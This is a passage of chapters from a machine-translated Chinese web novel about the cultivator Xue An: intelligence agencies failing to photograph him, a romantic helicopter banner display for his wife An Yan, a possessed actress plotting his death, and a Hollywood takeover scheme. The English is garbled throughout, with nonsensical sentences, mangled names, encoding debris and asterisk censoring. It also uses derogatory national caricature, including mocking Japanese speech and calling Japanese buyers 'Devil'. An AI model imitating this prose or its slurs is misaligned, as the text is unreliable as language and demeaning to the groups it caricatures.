    Even if someone took a photo from close, but now, when you look at it, the head that will create the photo seems to be shrouded in a layer of mist, hazy, and it is not clear that the true appearance is.


    Many intelligence agencies are greatly annoyed by this.


    country.


    The head of the intelligence agency threw Xue An''s material on the person responsible for collecting intelligence.


    "I don��t listen to your explanation that you should pass away. I will send someone to take a photo of him now. I don��t care what measures you take. Even if you swim from the Pacific to China, I will see his clear picture !clear?"


    The intelligence staff looked aggrieved.


    They obviously took pictures?


    Why did it become like this?


    Not only the country.


    In country r.


    The Prime Minister was frightened and slapped more than a dozen intelligence leaders.


    With each fan, the intelligence leader would lower his head "Hayi".


    "Baga, bastard, this Xue An has caused such a big incident in our country, but now he doesn''t even have a photo. What do you do for food?"


    "Hayi!"


    "Go and collect materials for me now, or you can kill yourself!"


    "Hayi!"


    There are countries and other countries, such scenes are being staged.


    Xue An didn''t know this, and even if he knew it, he would laugh.


    The reason why this situation arises.


    It is because Xue An''s current strength is gradually becoming rich and strong.


    Especially after entering Sanxian.


    He has partly broken away from the rules of this world.


    This also led to the fact that as long as he didn''t want to, no one could take his true face.


    In the past few days, he helped An Qing deal with the cooperation affairs with these big bosses.


    These big guys are now well-behaved like kindergarten children.


    And all kinds of aid conditions are like no money, and they keep hitting An Qing.


    The goal is nothing more than to get the practice technique promised by Xue An as soon as possible.


    Xue An did not break his words.


    For him, a simplified version of the exercises suitable for people to practice can easily compile hundreds of sets.


    However, because he admired the loveliest person in this land, Xue An carefully packed up, and then summarized the techniques he collected while traveling through the heavens.


    Finally, he came up with three sets of relatively good exercises, and first provided the exercises of the first three classes to these people.


    These people have been more or less exposed to cultivation, so you can see how valuable this thing is at a glance.


    Especially when I went back to the experiment and created a lot of soldiers with average understanding to be able to practice, these bigwigs were all rampant.


    This means that Huaxia��s power may take a new step!


    Therefore, Xue An has also become the god-man in these people''s minds, and even with An Qing has risen.


    An Qing has now become a force that cannot be neglected in Zhongzhong.


    As a result, Anjia''s strength has become even stronger.


    At least, many of the giants in the capital would not even dare to say anything about their backs.


    And after all this is done.


    Xue An disappeared from the public''s sight.


    settle down.


    Xue An accompanied the two little girls to play games for a long time before returning to the house with a smile.


    An Yan was sitting at the computer nervously playing games.


    She is now more and more fascinated by playing various scary games.


    But the courage still hasn''t grown.


    Like now.


    When Xue An quietly emerged behind her.


    An Yan happened to hold the characters in the game and entered an empty room.


    The screen was dark, and suddenly, a woman in red hanging upside down appeared before her eyes.


    An Yan screamed in fright, and it happened that Xue An reached out to touch An Yan''s shoulder at the moment.


    An Yan seemed to be electrocuted at the time, picking up the pan beside the computer, and slamming it.


    Click.


    The computer screen is broken.


    And the momentum didn''t stop, so he swung to the back and came according to Xue An.


    Xue An stretched out his hand to catch the pan.


    An Yan realized that it was her husband, she couldn''t help but let out a sigh, then patted her chest and said, "Scare me when I die!"


    Xue An said ridiculously and helplessly: "This is the first computer screen that has been smashed in the past few days?"


    An Yan stuck out her tongue in embarrassment, "Isn''t this fear?"


    Xue An chuckled, "If it is smashed, it will be smashed. I don''t feel bad about the screen, but I still have a good thing!"


    Speaking, Xue An took out a special r helmet made by the man.


    "What is this?" An Yan was a little confused.


    "Try it and you''ll know, come, I''ll put it on for you!" Xue Anxun was like a strange uncle who cheated a little girl.


    An Yan always obeyed Xue An''s words, so she put on a helmet obediently.


    Xue An turned on the switch and looked at it with a smile.


    An Yan was somewhat excited at the beginning.


    "Oh, my husband, this thing is so fun! It''s actually the same!"


    But after a while, An Yan started to tremble.


    "Husband! Husband? This... isn''t this the terrible game I played? Where are you?"


    Talking about An Yan stretched out his hand to try to touch Xue An.


    Xue An took a step back secretly.


    An Yan panicked even more.


    In her sight, all she could see was darkness, just like the game she was playing.


    When I was frightened, suddenly!


    A ghost rushed out.


    Due to the bonus of the r helmet, this ghost is extremely real.


    An Yan was so frightened that she yelled and picked up the pan.


    At this time, Xue An was in front.


    An Yan''s pan is patted on Xue An''s head.


    when!


    The pan was smashed into a depression and An Yan quickly took off his helmet, which created Xue Anzheng grinning at his head, looking at herself helplessly.


    "Husband... Am I in trouble again?" An Yan asked timidly.


    Xue An bared his teeth, and suddenly stepped forward and picked up An Yan, pretending to be vicious and saying: "Yes, you''re in trouble again, after all, how can you be punished?"


    An Yan was held by Xue An, blushing, and then slowly closed her eyes.


    "Husband, you can punish whatever you want!"


    An Yan''s voice is timid and cute, with the perfect cheeks, the lethality is simply amazing.


    Xue An stopped.


    This... who can stand it! The novel is invincible, starting with the newest chapter, Chapter 255, Dad Xianzun, who can stand this! (Fifth update) Website: https://

 Chapter 256： Yaner, close your eyes!

    Today is the weekend, and the small road into the mountain is full of tourists.


    And when Xue An and An Yan led their two daughters to emerge on the mountain road, they immediately attracted a lot of eyesight.


    "What a lovely little girl!" Many people admired Xue Xiang and Xue Nian.


    Of course, Xue An and An Yan also attracted a lot of attention.


    After all, men are handsome and handsome, and women are all over the country.


    The beauty of this family is a landscape in itself.


    "Hey, look, that man over there is so handsome!" Niu Yifei pushed Shen Nan on the side with her elbow.


    Shen Nan turned his head and looked towards, and just saw Xue An passing by, he was also taken aback.


    "How is it? Handsome!" Niu Yifei said contentedly.


    Shen Nan blushed and gave a low hmm.


    The conversation between the two of them made Zhu Hao look embarrassed on the side.


    He is a student of the surrounding universities.


    This time I tried my best to invite Shen Nan to visit Fragrant Mountain, in order to take measures to successfully soak this school flower.


    Unexpectedly, not only Shen Nan was here, but Niu Yifei, who was in the dormitory with her, also followed.


    Zhu Hao was already very angry, but now he was full of anger after hearing Niu Yifei''s words.


    "Huh, what about being handsome? It''s boring to see that he doesn''t look like a rich man in his clothes, he also brought his children to climb the mountain!" Zhu Hao said strangely.


    Niu Yifei smiled, "Yeah, so you are rich?"


    Zhu Hao smiled proudly, "I dare not say that I am particularly rich, but it''s still so-so, one or two billion is always there!"


    While saying this, Zhu Hao kept staring at Shen Nan secretly.


    Unexpectedly, Shen Nan didn''t seem to hear the same, his face was absent.


    Zhu Hao gritted his teeth secretly, very unhappy in his heart.


    He comes from a city on the east coast, and the conditions at home are indeed very good, so in the past few years in school, he has also made a lot of girls by spending money.


    But this Shen Nan always keeps oil and salt.


    He has visited a lot of people, and they all said that Shen Nan has a bit of a female literary character, and he longs for romance!


    After learning this information, Zhu Hao moved his mind before carefully planning this trip to Fragrant Mountain.


    Thinking of this, Zhu Hao''s mouth showed a smug smile.


    Soon, people boarded the top of Xiangshan Mountain.


    Shen Nan and Niu Yifei sat on the chairs in the pavilion, their faces exhausted.


    Especially Niu Yifei, muttering: "It''s so boring, I actually brought it to the mountain, and I''m tired of my deceased mother!"


    Shen Nan didn''t speak, just looked around, as if looking for something.


    "Hey, over there!" Niu Yifei pushed forward Nan.


    Shen Nan was a little embarrassed, "I didn''t find him again!"


    "Hehe, of course there are wives and children, but a handsome guy is a handsome guy. Let''s see if it is not illegal!" Niu Yifei said with a smile.


    But at this time, Zhu Hao rushed to Shen Nan with an excited look: "Nan Nan, close your eyes!"


    "What are you doing?" Shen Nan frowned slightly.


    "You know when you close your eyes!"


    Shen Nan closed his eyes helplessly.


    Zhu Hao winked at several people in the crowd.


    A dozen men came out, took out a large bouquet of roses from their backpacks, and placed a huge heart shape on the ground.


    At this time, Shen Nan was already a little impatient, "Alright? Zhu Hao, what are you going to do?"


    Niu Yifei watched with a smile, and did not speak.


    These men carried quite a complete range of things, not only roses, but also various cold fireworks for decoration.


    Soon the bamboo buds arranged in the pavilion will be lush.


    Then Zhu Hao took out a small box, knelt on one knee, and said excitedly: "Nan Nan, open your eyes!"


    Shen Nan slowly opened his eyes and couldn''t help but stop seeing this scene.


    Zhu Hao opened the box, and inside was a huge diamond ring.


    "Nan Nan, I have been loving you for a long time, and I hope you can approve your relationship with me. I will definitely treat you well!"


    The dozen or so men stood aside with good practice and shouted in unison: "Marry him, marry him!"


    This scene also attracted the eyes of all tourists on the top of the mountain.


    At this time, Shen Nan''s expression gradually became ashamed, "Zhu Hao, I said before I came, we can only be ordinary friends! I don''t feel you!"


    A trace of anger flashed across Zhu Hao''s face, and then whispered: "Nan Nan, don''t listen to the rumors in the school. I did have a girlfriend, but that''s all in the past. Now I only love you! "


    Shen Nan sneered, "I''ve never seen this diamond ring in the hands of more than three girls, why? Do I have to return the ring to reuse it after parting?"


    When these words were spoken, a boo was heard from the crowd onlookers.


    Niu Yifei couldn''t help but said, "Zhu Hao, Nan Nan''s meaning is not obvious, get up quickly! So many people are watching!"


    Zhu Hao finally couldn''t help it, the smile on his face disappeared, and he said coldly: "Nan Nan, if you don''t agree today, I won''t get up! As for them to watch!"


    Zhu Hao looked around with a cold face, "Who would dare to say more?"


    As soon as the voice fell, a milky voice came.


    "Dad, what is this uncle doing? Why can''t I get up on my knees?"


    It was Xue thinking that was talking.


    And this voice also attracted everyone''s eyesight.


    Xue An smiled faintly, "He? He''s guilty of being cheap!"


    "Dad, what do you mean by guilty?" Xue Nian also asked.


    Xue An said indifferently: "That is to say, people originally didn''t want to, but he used the method of kneeling to force others to approve it? It''s not a crime, what is it?


    Xue An''s words also expressed the aspirations of many onlookers.


    Only Zhu Hao''s expression turned gloomy at the time, and his eyes became gloomy.


    "Who are you, is it your turn to talk about this matter?" Zhu Hao said coldly.


    Xue An smiled slightly, "It was not my turn, but now it''s my turn! I''m sorry, I have to borrow this place!"


    "I tell you, you''d better not get in the way here, or I will make you unable to eat and walk around!" Zhu Hao said viciously.


    With that, Zhu Hao turned back to look at Shen Nan.


    "Shen Nan, let me tell you, there is none of the women whom Zhu Hao fancy has yet to get. If you don''t approve today, don''t want to leave!


    This remark caused an uproar.


    Shen Nan''s face was pale, but facing Zhu Hao''s fierce expression, she couldn''t help but feel a little afraid.


    At this time, Xue An said lightly: "I''m very curious, how would you make me unable to eat?"


    Shen Nan and Niu Yifei looked at each other at this time, then got up and came to Xue An''s side.


    "Help me!" Shen Nan asked for help Xue An nodded, "Stand behind me."


    Shen Nan obediently stood behind Xue An.


    Zhu Hao looked extremely embarrassed, and sneered: "What are you? You actually broke my good deeds, I will tell you..."


    Xue An waved his hand, "My patience is very limited, so I advise you not to try again!"


    Zhu Hao was full of disdain and wanted to talk.


    Xue An snorted softly, "Get out!"


    Zhu Hao stumbled out of the pavilion as if being hit by a giant hammer.


    A look of horror finally appeared on his face.


    Then Xue An turned his head and smiled at An Yan, "Yan''er, close your eyes too!" The novel is invincible, starting from the newest chapter of the newest chapter, Chapter 257 Yan''er, from Daddy Xianzun. (Second update) URL: https://

 Chapter 257： At that time, I was young and you were young

    Hearing these words, Zhu Hao couldn''t help laughing out loud.


    "Hehe, what? Want to use the roses I bought for romance?"


    With that, Zhu Hao kicked the roses away from the ground, his face full of pleasure.


    And Xue An ignored him at all, just looked at An Yan quietly.


    An Yan''s heartbeat speeded up for several beats, and she had been a little sad, but she started to get excited.


    He... remember?


    An Yan closed her eyes obediently.


    When I first started, nothing happened, and everything around was quietly secretly.


    Many people have surprised faces on their faces.


    Zhu Hao snorted coldly, just about to make a mockery.


    From the distant sky, there was a loud roar.


    Everyone was taken aback.


    Then I saw five helicopters flying rapidly in the sky from afar.


    In the blink of an eye, he flew over the Fragrant Mountain.


    The wind and waves swelled by the rotors made the trees sway.


    Many people were blown back a few steps and looked at them with amazement.


    Then the hatch of the helicopter was opened, and countless petals and harmony **** fell.


    The gilded banners also slowly unfolded.


    The words on these banners are a whole sentence.


    "Eight years ago today, we met for the first time!"


    "At that time, I was young and you were young, noisy and noisy all day long!"


    "But what you don''t know is that since the first time I saw you, I wanted to kiss your cheek!"


    "Later, you agreed to be my girlfriend. I was so excited that I didn''t sleep all night and ran on the playground until dawn!"


    "Those days of love are simple and beautiful!"


    "Eight years have passed since the blink of an eye! Eight years may be short for many people, but long for me!"


    "In those long and eternal nights, the only hope I keep going down is you!"


    "An Yan, the future road, you and me together! Never leave again!"


    When An Yan opened her eyes and saw these banners, she was stunned for a moment, then tears came from her eyes, and she couldn''t cry!


    All the onlookers were also moved.


    Both Shen Nan and Niu Yifei looked silly.


    Shen Nan whispered to herself, "Is there really such a pure and beautiful love in this world?"


    Zhu Hao looked pale, but he dared not say anything.


    He invited five helicopters at his fingertips, which was all right and extraordinary.


    At the same time, Zhao Xuehui, Qiao Le, Cheng Hao and others poked their heads out and shouted at Xue An below.


    "Second brother!"


    "Instructor!"


    "Tianyuan Company!"


    "Fire Phoenix Special Forces!"


    "I wish you both happiness forever!"


    The shout came far in the valley.


    Many onlookers applauded involuntarily!


    An Yan''s face gradually turned red again.


    Xue An looked up to the sky and laughed, took An Yan into his arms and waved casually.


    "Wanshan Hongye!"


    With Xue An''s order!


    A strange scene appeared in front of everyone.


    See the maple leaves on the whole Fragrant Mountain, all of them turned red in an instant.


    The lush Xiangshan just now turned into a red sky in the blink of an eye.


    This hand makes all the tourists look silly.


    Xue An held An Yan in one hand, and two little girls in the other, rose into the sky and disappeared into the sky.


    Everyone stared blankly at Xue Anyuan''s back.


    As for Zhu Hao, his face was pale with fright at the moment, and he couldn''t even speak.


    He heard all the shouts just now.


    Tianyuan Company!


    Fire Phoenix Special Forces!


    Nothing he can provoke.


    So he didn''t even dare to stay, and left in a desperate manner.


    Only Shen Nan and Niu Yifei were still looking into the distance, their eyes full of admiration and longing.


    "Oh my god, he is handsome, rich, and capable. The key is to be affectionate and dedicated. Why can''t I meet such a good man in the world?" Niu Yifei sighed.


    Shen Nan didn''t say a word, tears shone faintly in his eyes.


    Those banners just touched her vividly!


    Without waiting for the night, everything that happened on the Fragrant Mountain spread throughout the capital.


    At this time, many people knew that the famous Xue An was the one who called for the maple leaves to turn red with a breath!


    When the news reached the Chen family.


    After Chen Rushi learned the news, she locked herself in the house and did not go out all day.


    Wei Rulan was startled slightly, then shook her head and chuckles, "What a lovely couple!"


    And when the outside world was talking about it, Xue Anzheng and An Yan lived a comfortable life.


    "Husband, have you been preparing for this a long time ago?" An Yan asked, lying in Xue An''s arms.


    "Haha, of course! Do you really think I forgot?" Xue An smiled.


    An Yan blushed, "I think you really didn''t care about this!"


    Then An Yan slowly plunged into Xue An��s arms, and whispered: "Husband, I am very satisfied now, really satisfied, and thinking of you facing so many powerful enemies, but still thinking of me. , I just want to cry!"


    As he spoke, An Yan''s tears fell again.


    Xue An gently wiped Anyan''s tears with his hand, and said lightly: "Stop crying! With me in the future, I will never let you cry again!"


    "Hmm!" An Yan nodded.


    Xue An gave her everything she needed as a woman.


    this moment!


    An Yan felt that even after passing away, she was satisfied!


    Xue An and An Yan stayed in the mountains for another night, and returned to An''s house the next day.


    Wait as soon as you enter the house.


    An Qing greeted her with a smile, and then looked at her sister, making a sound in her mouth.


    "Sister, it''s really admirable!"


    An Yan''s face turned red again, and then she slammed her face, "Dead Nizi! What nonsense?"


    An Qing retreated to the side with a smile, "Okay! It''s me nonsense, anyway, it''s spread all over now, I don''t know how many wealthy women have been envied!"


    An Qing is also telling the truth.


    Those who ridiculed An Yan eloped at the beginning are all envious at this moment.


    Who could have thought that the ordinary boy had grown into a real strong man?


    That day, the family had a lively dinner.


    Late at night, An Yan was about to fall asleep, but the phone rang.


    It is a foreign number.


    An Yan was taken aback, who called this late? And it''s a foreign number?


    She answered the phone.


    There was a cold voice on the other end of the phoneAn Yan, it''s me! "


    An Yan was slightly startled when he heard this voice, and then smiled.


    "Mengxue, why are you?"


    "An Yan, I want to inform you and Xue An. I won the star of Skar and the award will be given in a few days. I hope you can come!"


    An Yan''s eyes lit up, "Congratulations Mengxue! We will be sure of the past then!"


    Hanging up the phone, An Yan was still a little excited, but she didn''t notice that there was an unusual trace in Fan Mengxue''s voice.


    And on the other side of the ocean.


    Fan Mengxue put down the phone, eyes shining unlike humans.


    "Xue An, if you dare to come this time, it will be your...death period!" The novel is invincible, starting with the newest chapter Chapter 258 from Daddy Xianzun At that time, I was young and you were young (third More) URL: https://

 Chapter 258： Empress adult

    "Your Honorable Empress, what is it for you to spend so much time on this Xue An?"


    Following the sound, a meticulous man dressed in a decent suit and combed his hair slowly walked out of the darkness.


    The man''s face always seemed to have a decent smile, and his voice was so gentle, just like a celebrity.


    But if there are other people present at this moment, they will definitely exclaim.


    Because of this man, it is Griffin called the Eviscer!


    One of the three dark giants in Sin City.


    He is called the Eviscer because he loves human bones and believes that it is the best trophy in the world.


    And his most glorious record is to completely remove a person''s bones, and until the end, this person is still alive.


    This is a name that can make countless people have nightmares at night.


    Fan Mengxue''s eyes flashed with a strange red glow, and said lightly: "What do I do, do I still need to tell you?"


    "Of course not, but respected Empress, I hope that after I help you kill Xue An, you can also keep your promise and help me kill the sin capital back! Capture the fountain of youth!"


    "Bu Laoquan..." A strange color appeared on Fan Mengxue''s face.


    "Does this legendary thing really exist?"


    Griffin smiled, "Of course it exists, and it will emerge in Sin City soon!"


    At this point, Griffin''s eyes flashed with resentment.


    "Otherwise, I won''t be driven out of Sin City by the old Bell and the **** of the poisonous scorpion!"


    Fan Mengxue nodded, "I see! I will honor my promise, and I hope you can withdraw as you said!"


    Griffin did not move.


    Fan Mengxue frowned slightly, and then stretched out his legs from under the cheongsam with some disgust.


    Seeing this slender leg, Griffin crawled on the ground with excitement, but as if not daring to profanity, he only dared to kiss Fan Mengxue''s high heels and the floor where his feet had stepped with his mouth.


    And said with a look of intoxication: "Your Excellency Empress, you have a pair of legs unparalleled in the world, Griffin would like to be your dog licking!"


    "Get off!" Fan Mengxue said coldly.


    After Griffin left.


    Han Yao walked in. The once energetic gold medal agent had a soft face at the moment, and the light in his eyes did not have human emotions.


    "My lord, why should this Griffin be so?"


    Fan Mengxue looked out the window.


    This is the most prosperous movie capital in the country. Although it is late at night, it is still brightly lit outside.


    "I changed my mind. This figure is simply too perfect, even better than the figure I had taken before. I am planning to use her for cultivation! But this person''s soul power is so strong that I can''t eliminate it!"


    "Because of the rules and regulations, my body cannot leave Kunlun, so I can only use the power of the world to deal with Xue An together!"


    "There is also the fountain of youth that Griffin said, if I get it, it will be of great benefit to my ontological cultivation!"


    Having said this, Fan Mengxue''s eyes shone with greed.


    Han Yao bowed her head respectfully.


    Xue An, you killed my disciple in the Night Demon Valley, and slaughtered Kanyue Pavilion, but I didn''t expect...that is just a worldly outer door!


    The real powerhouses are all in Kunlun.


    If it weren''t for the restriction of the law, my body could not come, or I would crush you into powder.


    But this is also good... actually let me take away such a perfect figure.


    Ha ha!


    When that happens, I will kill you myself!


    The feeling of being killed by a person who loves me is exciting to think about!


    Fan Mengxue looked at the prosperous scene outside the window, a trace of contentment appeared in the corner of her mouth.


    now.


    Xue An, An Yan and others just sat on the plane flying to the country.


    An Yan was very excited.


    This is her first trip to the country.


    Xue An is noncommittal about this.


    When An Yan told him about Fan Mengxue''s invitation for the first time, Xue An felt that something was wrong with it.


    Why didn''t I have any news before?


    But as long as the wife likes it, it doesn''t matter where she goes.


    What''s more, Xue An really wants to celebrate this former tablemate.


    Xue An was in first class, and the environment was very elegant.


    The two little girls are wearing headphones and one holding a tablet. They are already fascinated.


    People boarded the plane one after another.


    Suddenly, there was a surprise voice.


    "Mr?"


    Xue An turned his head and looked towards, and saw that the girl who met in Xiangshan yesterday was looking at him with surprise.


    "It''s really you! Are you taking a family trip?" Shen Nan said excitedly.


    Xue An smiled and nodded.


    "Yesterday you went too hurriedly. I didn''t have time to introduce myself. My name is Shen Nan!" Shen Nan stretched out his hand generously, but his heart was pounding.


    Xue An''s last flight to the sky gave the girl too much shock.


    I thought I would never meet again, but I didn''t expect to meet again on the plane. I was naturally very excited.


    Xue An was slightly startled, then looked at An Yan on the side.


    Of course An Yan would not be jealous because of this. In her eyes, this little girl is still a child.


    "My name is An Yan, this is my husband... Xue An!" An Yan said with a smile.


    Shen Nan nodded, and her seat happened to be next to An Yan.


    After sitting down, the two women started talking.


    Xue An was clear when they heard their conversation.


    This Shen Nan was originally a rich second generation who hides deeply.


    Her father worked as a Chinese producer in Hollywood, and this time he rushed back because of something at home.


    Hearing this, Xue An couldn''t help but sympathize with the guy who proposed yesterday.


    I think that with a diamond ring can be fooled, but I don''t know that this girl''s family is more superior.


    At least even if you go home sloppily, you have to take first class, and be able to stand as a Chinese in a place like Hollywood, which is no ordinary family.


    After hearing that Xue An and others were also going to Hollywood, Shen Nan was even more excited and urged everyone to go home.


    An Yan had a good impression of the little girl, so she finally nodded her approval.


    "Sister An, what are you doing to Hollywood?" Shen Nan asked curiously An Yan smiled and glanced at Xue An intentionally or unintentionally, "A friend is going to participate in Australia for a few days. Ska, we are just going to join in a warm welcome!


    Shen Nan suddenly.


    In recent years, Oska''s influence has grown.


    Many Chinese people will look enthusiastically when the time comes.


    As for the friends Anyan said can participate in Auscar, it may be the female Internet celebrity who spent money on the red carpet!


    Shen Nan thought to himself, but didn''t take it seriously.


    When the plane slowly landed at the National Airport, a group of people walked out of the airport lobby.


    A man who spoke English in an exaggerated tone greeted him with excitement.


    "Nan Nan! Are you here?" The novel is invincible, starting with the newest chapter of the new chapter, Chapter 259, Lady Empress (first update) URL: https://

 Chapter 259： Shenjia Dilemma

    Seeing this man, Shen Nan frowned slightly, "Shen Jun, you have only been in country M for two years, and there is no one else here, so let''s talk in Chinese!"


    Shen Jun smiled proudly, "In my opinion, English is the most beautiful language in the world! I have decided that I will not speak Chinese anymore!"


    This is disgusting!


    At this moment, Shen Jun also noticed Xue An, who was taken aback for a moment, and then his expression darkened.


    "Nan Nan, who is this?"


    "This is a friend I met yesterday, and I happened to meet on the plane again today! They also came to Hollywood to play, so I invited them to stay at home!" Shen Nan said.


    Shen Jun looked at Xue An after hearing this, and sneered twice, "Friend? Just met? Nan Nan, there are many people in this world who are ill-intentioned. You are still young, so be careful of being cheated!"


    This sentence was spoken in Chinese and the tone was extremely bad.


    Shen Nan''s complexion suddenly became extremely ugly, and he shouted angrily: "Shen Jun, you are just a distant cousin of mine. What qualifications do you have to take care of me?"


    Shen Nan''s words made Shen Jun''s face become uncertain, and in the end he could only smile and say: "I''m not afraid you were cheated!"


    "No need, and my friend, it''s not your turn to talk about it!"


    Shen Nan snorted coldly, then turned to Xue An and An Yan nodded apologetically.


    "Sorry, this man is a distant cousin of mine, who can''t speak very much, I''m so sorry!"


    Xue An just smiled at this.


    For him, a person of Shin Jun''s grade is not even interested in seeing it straight.


    It''s as if you were walking on the road and a dog barked at you twice! Normal people must leave instead of calling back reluctantly!


    When she left, Shen Nan gave Shen Jun a fierce look, and then drove the Xue An family away first.


    Shin Jun''s face was left standing in place, his eyes gleaming ruthlessly.


    The Shen family lives in the wealthy area of ??Hollywood, and it is a very grand villa.


    When Shen Nan led Xue An and others into the house, she happened to have a face-to-face meeting with a few people from the country M.


    Then these M people left in a hurry.


    Wait into the living room.


    Shen Nan''s father, Shen Kang, was sitting on the sofa with a worried face.


    When he saw his baby girl walk in, a smile of relief appeared on his face.


    "Nan Nan is here!"


    "Dad, look, this is my new friend! Brother Xue An and sister An Yan!" Shen Nan introduced happily.


    After hearing this, Shen Kang nodded slightly at Xue Anlue, "It''s nice to meet you!"


    Then he turned to Shen Nan and said, "Nan Nan, how is your life recently?"


    Shen Nan smiled and said, "Very good! Dad, what did those people from Country M just come for?"


    Xue An noticed that this middle-aged man, who had begun to bald, had always been depressed in his eyes, as if there was something on his mind.


    Hearing Shen Nan''s question, Shen Kang shook his head, "Nothing! Where is your cousin?"


    Shen Nan snorted coldly, "This Shen Jun is so irritating, I actually suspected that my friend is a bad person and was thrown at the airport by me!"


    Shen Kang smiled, "It''s like a kid!"


    While talking, Shin Jun walked in from outside.


    His complexion was as usual, and he couldn''t see anything unusual at all.


    "Nan Nan, take your friends to the next living room and sit down! I have something to discuss with your cousin!" Shen Kang said.


    "Hmm!"


    Shen Nan hates her cousin so much, she wants to leave quickly!


    "Let''s go to eat dessert next to us! Our dessert master is from France!" Shen Nan said with a smile.


    When they arrived at the next living room, An Yan and Shen Nan started talking about girls, and they talked very speculatively.


    Xue An slowly drank the tea and heard the conversation between Shen and Kang in the living room, intentionally or unconsciously.


    "How is it?" Shen Kang asked solemnly.


    "I asked several companies, but no one was willing to take over. Those guys seemed to know about it. They all said that if the dispute can''t be resolved, they wouldn''t dare to take over!" Shen Jun said.


    Shen Kang sighed a long time, and said after a long time: "A company of country M just asked me, but the price it offered was a robbery. I can''t allow the company that I have worked so hard to run for so many years to be destroyed like this!"


    At this time, Shin Jun lowered his voice and said, "Uncle Cousin, there is a company in country R that is very interested now, you see..."


    "Country R?"


    "Yes!"


    Shen Kang remained silent for a long time, and then slumped: "Try it! Although I am very unwilling to sell to the Devil of Country R, ??I can''t be trapped by this!"


    "it is good!"


    Hearing this, Xue An probably understood.


    It seems that the Shen family is facing a big problem, even the company has to sell out, and the receivers know this is very difficult, so they deliberately keep the price low.


    But he could hear that Shen Jun''s tone was full of ecstasy, and he should have been uneasy.


    As Xue An expected.


    Shen Jun was overjoyed when he heard that his cousin agreed to meet someone from Country R, ??but he still tried his best to be calm.


    "Well, I''ll contact them now to see if I can see you soon!"


    This Shen Jun came to Shen Kang from China two years ago. At the time, UU Reading was impoverished in China, and his relatives with Shen Kang were actually very distant.


    But Shen Kang is a very nostalgic person, so he kindly accepted him!


    Unexpectedly, this Shen Jun is a man of wolf ambition.


    In particular, Shen Kang has no children, only Shen Nan has a daughter.


    So Shen Jun kept thinking about taking Shen Nan down, so that everything in the Shen family belonged to him.


    But helplessly, Shen Nan didn''t catch a cold at all to her unlearned cousin.


    After a long time, Shen Jun couldn''t help being angry, completely forgetting who took him in when he was desperate.


    Some time ago, Shen Kang offended a big man in Country M, and now the company is in desperation.


    Shen Jun felt that the opportunity had arrived, so he deliberately contacted a company in R country, and negotiated with the other party in advance, preparing to deceive Shen Kang from inside and outside.


    Seeing that the goal is about to be achieved now, he is naturally happy.


    Shen Nan! Haha, when your family goes bankrupt, I see how you are still arrogant in front of me!


    Shen Jun was proud.


    Naturally, Shen Nan knew nothing about these things. She was happily discussing computer games with An Yan.


    This Shen Nan actually likes to play horror games.


    At this point, the two women are quite sympathetic.


    Seeing the two chatting so speculatively, Xue An smiled slightly, then looked down at Xue Xiang and Xue Nian who had become tabby cats.


    "Is it delicious?" Xue An asked with a smile.


    Xue Xiang nodded repeatedly, "It''s delicious!"


    Xue Nian has no time to answer questions, her little mouth has been stuffed with dessert, like a little hamster.


    Seeing this scene, Xue An laughed blankly.


    That��s all, it��s time to reward you for the desserts you missed and missed!


    This time, I will help you!

 Chapter 260： Peerless murderer

    People from China came quickly, when the door opened.


    Xue An closed his eyes and inspected everything in the living room through divine consciousness.


    I saw a Chinese man with a female secretary behind him.


    The man looked very arrogant, and after shook hands with Shen Kang lightly, he sat on the sofa and opened his mouth for a long time.


    After talking about Chase with a crackle, Shen Kang and Shen Jun looked at each other and didn''t understand what it meant.


    At this time, the female secretary spoke in English.


    "This is the son of the president of our Kawano Consortium. As our young master said, he has sent a professional accounting firm to estimate this company. It is not of much value, and now it offends big people. It takes a lot of money to settle it. !"


    After hearing this, Shen Kang became embarrassed.


    But doing business, praise and criticism is a normal thing, so I still suppressed the anger and said: "Master Kawano, this film and television company founded by my Shen family is not the largest in Hollywood, but it is second to none. Those hardware facilities can sell hundreds of millions of dollars for the film and television rights under your hands!"


    A smile of disdain appeared at the corner of Young Master Chuanyo''s mouth, and the babble was a big deal.


    The female secretary said: "Our young master said that he is not very interested in those copyrights, but since he is here, he can give you a sincere offer!"


    With that, the female secretary took out a stack of contracts from her bag and put them on the table.


    Shen Kang took a look, his complexion changed drastically.


    Because the prices given above are slightly higher than those of the companies in these countries, they are still far from the usual real selling prices.


    "This...this..." Shen Kang was caught in a dilemma.


    If not for sale.


    It will be the deadline given by the big man soon, and not only will he lose his money and wealth, but he will not even be able to save the lives of his family.


    But if it is sold!


    This loss is too great!


    He couldn''t help becoming pale, and cold sweat appeared on his forehead.


    Shin Jun secretly winked with Kawano who was sitting on the sofa.


    "The price is still too low, can you mention it again?" Shen Kang''s tone was dejected.


    Kawano smiled and motioned to the female secretary to speak.


    "Mr. Shen, you know, now we are the only one who can give this price! Master Kawano! As long as you sign now, the money will be transferred to your bank account immediately, and you can take your family with you. Back to China for retirement!"


    "Mr. Shen, you don''t want Ling Qianjin also involved in the whirlpool because of this!"


    This last sentence completely defeated Shen Kang.


    He was pale and silent for a moment, and then picked up the pen with a disappointment.


    "Okay! I''ll sign it now!"


    Shen Jun couldn''t hold back the joy in his eyes.


    But just when Shen Kang was preparing to sign.


    Xue An stood up and walked out slowly from the meeting room.


    His sudden emergence made the people in the room a little surprised.


    Shen Jun frowned and said solemnly, "We are discussing something here, leave now!"


    He naturally didn''t have a good impression of Xue An.


    But Xue An just smiled faintly, "Boss Shen, don''t you feel too sorry if you just sign the word?"


    This sentence is shocking.


    Shen Jun''s complexion changed drastically, and he shouted angrily: "I will warn you again, leave this here quickly, otherwise it will delay our Shen family''s major events, and no one can save you!"


    Shen Kang also frowned slightly, feeling unhappy in his heart.


    In his opinion, this friend of his daughter was sure to overhear something, and then he rashly stepped out and prohibited it.


    Therefore, he also looked cold, "Mr. Xue, you are a friend invited by Nan Nan, so I hope you can respect yourself!"


    Xue An looked indifferent, and went straight to the young master of the Kawano Consortium.


    Kawano sat on the sofa with a haughty expression, looked up at him, his mouth was a big talker.


    "Our young master said..." The female secretary wanted to repeat.


    Xue An waved his hand, "No need, I can understand!"


    Then Xue An lowered his head, looked at the young Master Chuanye, and questioned in a straightforward tone.


    "Kawano Consortium?"


    Young Master Chuanyo''s expression was startled, and then looked at Xue An inexplicably.


    "Do you recognize me?"


    Xue An smiled faintly and shook his head, "I don''t know you! But I know a few of you in Tokyo!"


    Young Master Kawano smiled arrogantly, "Oh? Do you still know our people in Tokyo? Let me guess, is it the woman in the prostitute? Or the accompaniment in the bar?"


    Xue An looked at him and slowly said, "Kyoko Takeuchi, do you know him?"


    Takeuchi Kiyoko!


